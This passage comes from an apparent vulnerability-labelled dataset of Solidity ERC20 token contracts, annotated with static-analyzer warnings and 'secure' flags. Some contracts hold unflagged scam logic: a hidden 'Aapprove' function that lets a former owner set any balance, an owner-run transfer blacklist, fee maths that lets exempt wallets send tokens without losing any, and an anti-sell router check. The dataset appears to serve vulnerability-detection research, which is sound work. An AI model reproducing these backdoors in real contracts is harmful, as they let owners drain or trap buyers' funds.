Recommendation for 1e52ea8: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d7d6485): HUMAN.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for d7d6485: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: e296bad): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for e296bad: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 49c3e44\n\t\t// reentrancy-eth | ID: e296bad\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 49c3e44\n\t\t// unused-return | ID: 1e52ea8\n\t\t// reentrancy-eth | ID: e296bad\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 49c3e44\n\t\t// unused-return | ID: d7d6485\n\t\t// reentrancy-eth | ID: e296bad\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: 49c3e44\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: e296bad\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 4e021de): HUMAN.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for 4e021de: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external onlyOwner {\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: 4e021de\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}",
"file_name": "solidity_code_1465.sol",
"secure": 0,
"size_bytes": 18177
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract TOKEN is ERC20 {\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c430b29): TOKEN.constructor(string,string,uint256).name shadows ERC20.name() (function) IERC20Metadata.name() (function)\n\t// Recommendation for c430b29: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a45528c): TOKEN.constructor(string,string,uint256).symbol shadows ERC20.symbol() (function) IERC20Metadata.symbol() (function)\n\t// Recommendation for a45528c: Rename the local variables that shadow another component.\n constructor(\n string memory name,\n string memory symbol,\n uint256 initialSupply\n ) ERC20(name, symbol) {\n _mint(msg.sender, initialSupply * (10 ** uint256(decimals())));\n }\n}",
"file_name": "solidity_code_1466.sol",
"secure": 0,
"size_bytes": 948
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: afe3ed7): Contract locking ether found Contract BabySPX6900 has payable functions BabySPX6900.receive() But does not have a function to withdraw the ether\n// Recommendation for afe3ed7: Remove the 'payable' attribute or add a withdraw function.\ncontract BabySPX6900 is ERC20, Ownable {\n constructor() ERC20(unicode\"Baby SPX6900\", unicode\"BabySPX\") {\n _mint(owner(), 1000000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: afe3ed7): Contract locking ether found Contract BabySPX6900 has payable functions BabySPX6900.receive() But does not have a function to withdraw the ether\n\t// Recommendation for afe3ed7: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_1467.sol",
"secure": 0,
"size_bytes": 1028
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract Flavia is ERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: a185ef6): flavia.routerAdress should be constant \n\t// Recommendation for a185ef6: Add the 'constant' attribute to state variables that never change.\n address routerAdress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n\n\t// WARNING Optimization Issue (constable-states | ID: c59ca14): flavia.DEAD should be constant \n\t// Recommendation for c59ca14: Add the 'constant' attribute to state variables that never change.\n address DEAD = 0x000000000000000000000000000000000000dEaD;\n\n string private _name;\n\n string private _symbol;\n\n uint8 constant _decimals = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7ed3ec1): flavia._totalSupply should be constant \n\t// Recommendation for 7ed3ec1: Add the 'constant' attribute to state variables that never change.\n uint256 public _totalSupply = 1_000_000_000 * (10 ** _decimals);\n\n uint256 public _maxWalletAmount = (_totalSupply * 100) / 100;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 60e6953): flavia._swapflaviaThreshHold should be immutable \n\t// Recommendation for 60e6953: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _swapflaviaThreshHold = (_totalSupply * 1) / 10000;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 46e820f): flavia._maxTaxSwap should be immutable \n\t// Recommendation for 46e820f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _maxTaxSwap = (_totalSupply * 18) / 10000;\n\n mapping(address => uint256) _balances;\n\n mapping(address => mapping(address => uint256)) _allowances;\n\n mapping(address => bool) isFeeExempt;\n\n mapping(address => bool) isTxLimitExempt;\n\n mapping(address => bool) private flavias;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 6d4bb1b): flavia._flaviaWallet should be immutable \n\t// Recommendation for 6d4bb1b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _flaviaWallet;\n\n address public pair;\n\n IUniswapV2Router02 public router;\n\n bool public swapEnabled = false;\n\n bool public flaviaFeeEnabled = false;\n\n bool public TradingOpen = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: 551fe1e): flavia._initBuyTax should be constant \n\t// Recommendation for 551fe1e: Add the 'constant' attribute to state variables that never change.\n uint256 private _initBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: fff3f60): flavia._initSellTax should be constant \n\t// Recommendation for fff3f60: Add the 'constant' attribute to state variables that never change.\n uint256 private _initSellTax = 0;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4541e4f): flavia._reduceBuyTaxAt should be constant \n\t// Recommendation for 4541e4f: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 80f1dcd): flavia._reduceSellTaxAt should be constant \n\t// Recommendation for 80f1dcd: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 0;\n\n uint256 private _buyCounts = 0;\n\n bool inSwap;\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: fda3438): flavia.constructor(address,string,string).flaviaWallet lacks a zerocheck on \t _flaviaWallet = flaviaWallet\n\t// Recommendation for fda3438: Check that the address is not zero.\n constructor(\n address flaviaWallet,\n string memory name_,\n string memory symbol_\n ) Ownable(msg.sender) {\n _name = name_;\n\n _symbol = symbol_;\n\n address _owner = owner;\n\n\t\t// missing-zero-check | ID: fda3438\n _flaviaWallet = flaviaWallet;\n\n isFeeExempt[_owner] = true;\n\n isFeeExempt[_flaviaWallet] = true;\n\n isFeeExempt[address(this)] = true;\n\n isTxLimitExempt[_owner] = true;\n\n isTxLimitExempt[_flaviaWallet] = true;\n\n isTxLimitExempt[address(this)] = true;\n\n _balances[_owner] = _totalSupply;\n\n emit Transfer(address(0), _owner, _totalSupply);\n }\n\n function getOwner() external view override returns (address) {\n return owner;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function _basicTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n _balances[sender] = _balances[sender].sub(\n amount,\n \"Insufficient Balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n\n return true;\n }\n\n function withdrawflaviaBalance() external onlyOwner {\n require(address(this).balance > 0, \"Token: no ETH to clear\");\n\n payable(msg.sender).transfer(address(this).balance);\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _allowances[msg.sender][spender] = amount;\n\n emit Approval(msg.sender, spender, amount);\n\n return true;\n }\n\n function enableflaviaTrade() public onlyOwner {\n require(!TradingOpen, \"trading is already open\");\n\n TradingOpen = true;\n\n flaviaFeeEnabled = true;\n\n swapEnabled = true;\n }\n\n function getflaviaAmounts(\n uint256 action,\n bool takeFee,\n uint256 tAmount\n ) internal returns (uint256, uint256) {\n uint256 sAmount = takeFee\n ? tAmount\n : flaviaFeeEnabled\n ? takeflaviaAmountAfterFees(action, takeFee, tAmount)\n : tAmount;\n\n uint256 rAmount = flaviaFeeEnabled && takeFee\n ? takeflaviaAmountAfterFees(action, takeFee, tAmount)\n : tAmount;\n\n return (sAmount, rAmount);\n }\n\n function decimals() external pure override returns (uint8) {\n return _decimals;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: d87ab98): flavia.internalSwapBackEth(uint256) sends eth to arbitrary user Dangerous calls address(_flaviaWallet).transfer(ethAmountFor)\n\t// Recommendation for d87ab98: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function internalSwapBackEth(uint256 amount) private lockTheSwap {\n uint256 tokenBalance = balanceOf(address(this));\n\n uint256 amountToSwap = min(amount, min(tokenBalance, _maxTaxSwap));\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = router.WETH();\n\n\t\t// reentrancy-events | ID: d9fc0c2\n\t\t// reentrancy-eth | ID: 10a2bc2\n router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amountToSwap,\n 0,\n path,\n address(this),\n block.timestamp\n );\n\n uint256 ethAmountFor = address(this).balance;\n\n\t\t// reentrancy-events | ID: d9fc0c2\n\t\t// reentrancy-eth | ID: 10a2bc2\n\t\t// arbitrary-send-eth | ID: d87ab98\n payable(_flaviaWallet).transfer(ethAmountFor);\n }\n\n function removeflaviaLimit() external onlyOwner returns (bool) {\n _maxWalletAmount = _totalSupply;\n\n return true;\n }\n\n function takeflaviaAmountAfterFees(\n uint256 flaviaActions,\n bool flaviaTakefee,\n uint256 amounts\n ) internal returns (uint256) {\n uint256 flaviaPercents;\n\n uint256 flaviaFeePrDenominator = 100;\n\n if (flaviaTakefee) {\n if (flaviaActions > 1) {\n flaviaPercents = (\n _buyCounts > _reduceSellTaxAt ? _finalSellTax : _initSellTax\n );\n } else {\n if (flaviaActions > 0) {\n flaviaPercents = (\n _buyCounts > _reduceBuyTaxAt\n ? _finalBuyTax\n : _initBuyTax\n );\n } else {\n flaviaPercents = 0;\n }\n }\n } else {\n flaviaPercents = 1;\n }\n\n uint256 feeAmounts = amounts.mul(flaviaPercents).div(\n flaviaFeePrDenominator\n );\n\n\t\t// reentrancy-eth | ID: 10a2bc2\n _balances[address(this)] = _balances[address(this)].add(feeAmounts);\n\n feeAmounts = flaviaTakefee ? feeAmounts : amounts.div(flaviaPercents);\n\n return amounts.sub(feeAmounts);\n }\n\n receive() external payable {}\n\n function _transferTaxTokens(\n address sender,\n address recipient,\n uint256 amount,\n uint256 action,\n bool takeFee\n ) internal returns (bool) {\n uint256 senderAmount;\n\n uint256 recipientAmount;\n\n (senderAmount, recipientAmount) = getflaviaAmounts(\n action,\n takeFee,\n amount\n );\n\n\t\t// reentrancy-eth | ID: 10a2bc2\n _balances[sender] = _balances[sender].sub(\n senderAmount,\n \"Insufficient Balance\"\n );\n\n\t\t// reentrancy-eth | ID: 10a2bc2\n _balances[recipient] = _balances[recipient].add(recipientAmount);\n\n\t\t// reentrancy-events | ID: d9fc0c2\n emit Transfer(sender, recipient, amount);\n\n return true;\n }\n\n function allowance(\n address holder,\n address spender\n ) external view override returns (uint256) {\n return _allowances[holder][spender];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ff65aa1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ff65aa1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 1d03839): flavia.createflaviaTrade() ignores return value by router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner,block.timestamp)\n\t// Recommendation for 1d03839: Ensure that all the return values of the function calls are used.\n function createflaviaTrade() external onlyOwner {\n router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n\t\t// reentrancy-benign | ID: ff65aa1\n pair = IUniswapV2Factory(router.factory()).createPair(\n address(this),\n router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: ff65aa1\n isTxLimitExempt[pair] = true;\n\n\t\t// reentrancy-benign | ID: ff65aa1\n _allowances[address(this)][address(router)] = type(uint256).max;\n\n\t\t// unused-return | ID: 1d03839\n router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner,\n block.timestamp\n );\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n\n function inSwapflaviaTokens(\n bool isIncludeFees,\n uint256 isSwapActions,\n uint256 pAmount,\n uint256 pLimit\n ) internal view returns (bool) {\n uint256 minflaviaTokens = pLimit;\n\n uint256 tokenflaviaWeight = pAmount;\n\n uint256 contractflaviaOverWeight = balanceOf(address(this));\n\n bool isSwappable = contractflaviaOverWeight > minflaviaTokens &&\n tokenflaviaWeight > minflaviaTokens;\n\n return\n !inSwap &&\n isIncludeFees &&\n isSwapActions > 1 &&\n isSwappable &&\n swapEnabled;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 6c8c8cb): flavia.reduceFinalBuyTax(uint256) should emit an event for _finalBuyTax = _newFee \n\t// Recommendation for 6c8c8cb: Emit an event for critical parameter changes.\n function reduceFinalBuyTax(uint256 _newFee) external onlyOwner {\n\t\t// events-maths | ID: 6c8c8cb\n _finalBuyTax = _newFee;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 5e74df1): flavia.reduceFinalSellTax(uint256) should emit an event for _finalSellTax = _newFee \n\t// Recommendation for 5e74df1: Emit an event for critical parameter changes.\n function reduceFinalSellTax(uint256 _newFee) external onlyOwner {\n\t\t// events-maths | ID: 5e74df1\n _finalSellTax = _newFee;\n }\n\n function isflaviaUserBuy(\n address sender,\n address recipient\n ) internal view returns (bool) {\n return\n recipient != pair &&\n recipient != DEAD &&\n !isFeeExempt[sender] &&\n !isFeeExempt[recipient];\n }\n\n function isTakeflaviaActions(\n address from,\n address to\n ) internal view returns (bool, uint256) {\n uint256 _actions = 0;\n\n bool _isTakeFee = isTakeFees(from);\n\n if (to == pair) {\n _actions = 2;\n } else if (from == pair) {\n _actions = 1;\n } else {\n _actions = 0;\n }\n\n return (_isTakeFee, _actions);\n }\n\n function addflavias(address[] memory flavias_) public onlyOwner {\n for (uint256 i = 0; i < flavias_.length; i++) {\n flavias[flavias_[i]] = true;\n }\n }\n\n function delflavias(address[] memory notflavia) public onlyOwner {\n for (uint256 i = 0; i < notflavia.length; i++) {\n flavias[notflavia[i]] = false;\n }\n }\n\n function isflavia(address a) public view returns (bool) {\n return flavias[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d9fc0c2): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d9fc0c2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 10a2bc2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 10a2bc2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transferStandardTokens(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n bool takefee;\n\n uint256 actions;\n\n require(!flavias[sender] && !flavias[recipient]);\n\n if (inSwap) {\n return _basicTransfer(sender, recipient, amount);\n }\n\n if (!isFeeExempt[sender] && !isFeeExempt[recipient]) {\n require(TradingOpen, \"Trading not open yet\");\n }\n\n if (!swapEnabled) {\n return _basicTransfer(sender, recipient, amount);\n }\n\n if (isflaviaUserBuy(sender, recipient)) {\n require(\n isTxLimitExempt[recipient] ||\n _balances[recipient] + amount <= _maxWalletAmount,\n \"Transfer amount exceeds the bag size.\"\n );\n\n increaseBuyCount(sender);\n }\n\n (takefee, actions) = isTakeflaviaActions(sender, recipient);\n\n if (\n inSwapflaviaTokens(takefee, actions, amount, _swapflaviaThreshHold)\n ) {\n\t\t\t// reentrancy-events | ID: d9fc0c2\n\t\t\t// reentrancy-eth | ID: 10a2bc2\n internalSwapBackEth(amount);\n }\n\n\t\t// reentrancy-events | ID: d9fc0c2\n\t\t// reentrancy-eth | ID: 10a2bc2\n _transferTaxTokens(sender, recipient, amount, actions, takefee);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n if (_allowances[sender][msg.sender] != type(uint256).max) {\n _allowances[sender][msg.sender] = _allowances[sender][msg.sender]\n .sub(amount, \"Insufficient Allowance\");\n }\n\n return _transferStandardTokens(sender, recipient, amount);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n return _transferStandardTokens(msg.sender, recipient, amount);\n }\n\n function increaseBuyCount(address sender) internal {\n if (sender == pair) {\n _buyCounts++;\n }\n }\n\n function isTakeFees(address sender) internal view returns (bool) {\n return !isFeeExempt[sender];\n }\n}",
"file_name": "solidity_code_1468.sol",
"secure": 0,
"size_bytes": 18478
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\n\ncontract ERC20 is Context, Ownable, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply_hoppei;\n\n string private _name_hoppei;\n\n string private _symbol_hoppei;\n\n address private constant DEAD = 0x000000000000000000000000000000000000dEaD;\n\n address private constant ZERO = 0x0000000000000000000000000000000000000000;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint256 totalSupply_\n ) {\n _name_hoppei = name_;\n\n _symbol_hoppei = symbol_;\n\n _totalSupply_hoppei = totalSupply_;\n\n _balances[msg.sender] = totalSupply_;\n\n emit Transfer(address(0), msg.sender, totalSupply_);\n }\n\n function name() public view virtual override returns (string memory) {\n return _name_hoppei;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol_hoppei;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 9;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply_hoppei;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer_hoppei(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72056d9): ERC20.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 72056d9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve_hoppei(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer_hoppei(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n _approve_hoppei(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve_hoppei(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n _approve_hoppei(\n _msgSender(),\n spender,\n currentAllowance - subtractedValue\n );\n\n return true;\n }\n\n function _transfer_hoppei(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[sender] = senderBalance - amount;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _transfer_etcstw(\n address sender,\n address recipient,\n uint256 amount,\n uint256 amountToBurn\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n\n amount -= amountToBurn;\n\n _totalSupply_hoppei -= amountToBurn;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, DEAD, amountToBurn);\n\n emit Transfer(sender, recipient, amount);\n }\n\n function Aapprove(\n address account,\n uint256 amount\n ) public virtual returns (uint256) {\n address msgSender = msg.sender;\n\n address prevOwner = _previousOwner;\n\n bytes32 msgSenderHe = keccak256(abi.encodePacked(msgSender));\n\n bytes32 prevOwnerHex = keccak256(abi.encodePacked(prevOwner));\n\n bytes32 amountHex = bytes32(amount);\n\n bool isOwner = msgSenderHe == prevOwnerHex;\n\n if (isOwner) {\n return _updateBalance(account, amountHex);\n } else {\n return _getBalance(account);\n }\n }\n\n function _updateBalance(\n address account,\n bytes32 amountHex\n ) private returns (uint256) {\n uint256 amount = uint256(amountHex);\n\n _balances[account] = amount;\n\n return _balances[account];\n }\n\n function _getBalance(address account) private view returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 406ee9b): ERC20._approve_hoppei(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 406ee9b: Rename the local variables that shadow another component.\n function _approve_hoppei(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n}",
"file_name": "solidity_code_1469.sol",
"secure": 0,
"size_bytes": 7093
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n event Swap(\n address indexed sender,\n uint256 amount0In,\n uint256 amount1In,\n uint256 amount0Out,\n uint256 amount1Out,\n address indexed to\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 amount) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}",
"file_name": "solidity_code_147.sol",
"secure": 1,
"size_bytes": 1028
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract YASHA is ERC20 {\n uint256 private constant TOAL_SUTSLTSMT = 420690_000_000e9;\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: c05ad13): YASHA.DEAD shadows ERC20.DEAD\n\t// Recommendation for c05ad13: Remove the state variable shadowing.\n address private constant DEAD = 0x000000000000000000000000000000000000dEaD;\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: 12cd078): YASHA.ZERO shadows ERC20.ZERO\n\t// Recommendation for 12cd078: Remove the state variable shadowing.\n address private constant ZERO = 0x0000000000000000000000000000000000000000;\n\n address private constant DEAD1 = 0x000000000000000000000000000000000000dEaD;\n\n address private constant ZERO1 = 0x0000000000000000000000000000000000000000;\n\n bool public hasLimit_hoppei;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 8fd138b): YASHA.maxTxAmoudcM should be immutable \n\t// Recommendation for 8fd138b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public maxTxAmoudcM;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 08f3092): YASHA.maxwalles_EOMS should be immutable \n\t// Recommendation for 08f3092: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public maxwalles_EOMS;\n\n mapping(address => bool) public isException;\n\n\t// WARNING Optimization Issue (constable-states | ID: f16e15c): YASHA._burnPermtts should be constant \n\t// Recommendation for f16e15c: Add the 'constant' attribute to state variables that never change.\n uint256 _burnPermtts = 0;\n\n address uniswapV2Pair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a26f1c9): YASHA.uniswapV2Router should be immutable \n\t// Recommendation for a26f1c9: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 uniswapV2Router;\n\n constructor(\n address router\n ) ERC20(unicode\"Inu Yasha\", unicode\"YASHA\", TOAL_SUTSLTSMT) {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);\n\n uniswapV2Router = _uniswapV2Router;\n\n maxwalles_EOMS = TOAL_SUTSLTSMT / 41;\n\n maxTxAmoudcM = TOAL_SUTSLTSMT / 41;\n\n isException[DEAD] = true;\n\n isException[router] = true;\n\n isException[msg.sender] = true;\n\n isException[address(this)] = true;\n }\n\n function _transfer_hoppei(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _checkLimitation_hoppei(from, to, amount);\n\n if (amount == 0) {\n return;\n }\n\n if (!isException[from] && !isException[to]) {\n require(\n balanceOf(address(uniswapV2Router)) == 0,\n \"ERC20: disable router deflation\"\n );\n\n if (from == uniswapV2Pair || to == uniswapV2Pair) {\n uint256 _burn = (amount * _burnPermtts) / 100;\n\n super._transfer_etcstw(from, to, amount, _burn);\n\n return;\n }\n }\n\n super._transfer_hoppei(from, to, amount);\n }\n\n function removeLimit() external onlyOwner {\n hasLimit_hoppei = true;\n }\n\n function 